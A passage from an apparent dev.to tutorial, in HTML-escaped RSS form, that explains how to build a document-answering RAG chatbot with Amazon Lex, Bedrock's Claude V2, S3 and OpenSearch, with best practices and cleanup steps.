&lt;p&gt;&lt;strong&gt;3.1 Initial Bot Creation&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Navigate to Amazon Lex in us-east-1 region&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click “Create bot”&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Creation method: Start with a blank bot (Traditional)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Runtime role: Create new role&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8zzbrals31dwid37xv8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8zzbrals31dwid37xv8.png" width="800" height="564"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.2 Language Configuration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5t95ie19b6ek6f0ko9x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5t95ie19b6ek6f0ko9x.png" width="800" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.3 Configure Welcome Intent&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgaw4l2diwdk093supvqe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgaw4l2diwdk093supvqe.png" alt="welcome intent configuration" width="800" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Create a new intent&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add sample utterances:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Click “+” to add each utterance&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Configure initial response&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7p0jgygpp03p8q58t21d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7p0jgygpp03p8q58t21d.png" width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Configure conversation flow:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Wait for user response: Enable&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Click “Save intent”&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;3.4 Configure QnA Intent&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg34ntkm87fx6dmpreem4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg34ntkm87fx6dmpreem4.png" width="741" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configure QnA settings:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Select model:&lt;br&gt;
 Provider: Anthropic&lt;br&gt;
 Model: Claude V2&lt;/p&gt;

&lt;p&gt;Knowledge store:&lt;br&gt;
 Type: Knowledge base for Amazon Bedrock&lt;br&gt;
 Knowledge base ID: [Your Bedrock knowledge base ID]&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Testing and Validation
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp2idtzqp469o1pe2gyci.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp2idtzqp469o1pe2gyci.png" alt="Sample test conversation" width="317" height="636"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Click “Build” to compile your bot configuration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Once built, click “Test” to open the test console&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  RAG Implementation Details
&lt;/h2&gt;

&lt;p&gt;Our implementation uses RAG to provide accurate, document-based responses:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Document Processing&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Documents uploaded to S3&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Titan Embeddings creates vector representations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vectors stored in OpenSearch&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Query Processing&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;User query received by Lex&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Query converted to embeddings&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Similar content retrieved from vector store&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Claude V2 generates contextual response&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Response Generation&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Combines retrieved content with language model capabilities&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ensures responses are grounded in your documents&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Maintains accuracy while providing natural responses&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Best Practices
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Document Management
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Keep documents well-structured&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Regular content updates&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Consistent formatting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Clear section headers&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Performance Optimization
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Regular knowledge base syncs&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Monitor response times&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Track usage patterns&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Adjust confidence thresholds&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Security Considerations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Implement least-privilege IAM roles&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Regular security audits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Monitor access patterns&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Encrypt sensitive data&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Cleanup Process
&lt;/h2&gt;

&lt;p&gt;To avoid ongoing charges:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Delete Bedrock knowledge base&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove S3 bucket and contents&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Delete Lex bot configuration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Delete associated IAM roles&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Future Enhancements
&lt;/h2&gt;

&lt;p&gt;Consider these potential improvements:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Multi-language support&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Custom response templates&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Integration with existing systems&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Advanced analytics and monitoring&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A/B testing for responses&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conversation history management&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By combining Amazon Lex, Bedrock, and S3 with RAG architecture, we’ve created a powerful, intelligent chatbot that can accurately answer questions based on your documentation. This implementation demonstrates the potential of AI-powered document interaction while maintaining control over the knowledge base.&lt;/p&gt;

&lt;p&gt;The architecture allows for scalability and customization, making it suitable for various use cases from internal documentation to customer support.&lt;/p&gt;

&lt;p&gt;🙌 Acknowledgement&lt;br&gt;
Special thanks to &lt;a href="https://youtu.be/4esqnMlMo8I?si=YnBw06S5zAlPwWsZ" rel="noopener noreferrer"&gt;Tiny Technical Tutorials&lt;/a&gt; for their great walkthrough that inspired this guide!&lt;/p&gt;




&lt;p&gt;&lt;em&gt;For more AWS tutorials and technical implementations, follow me and stay tuned for advanced features and optimizations.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
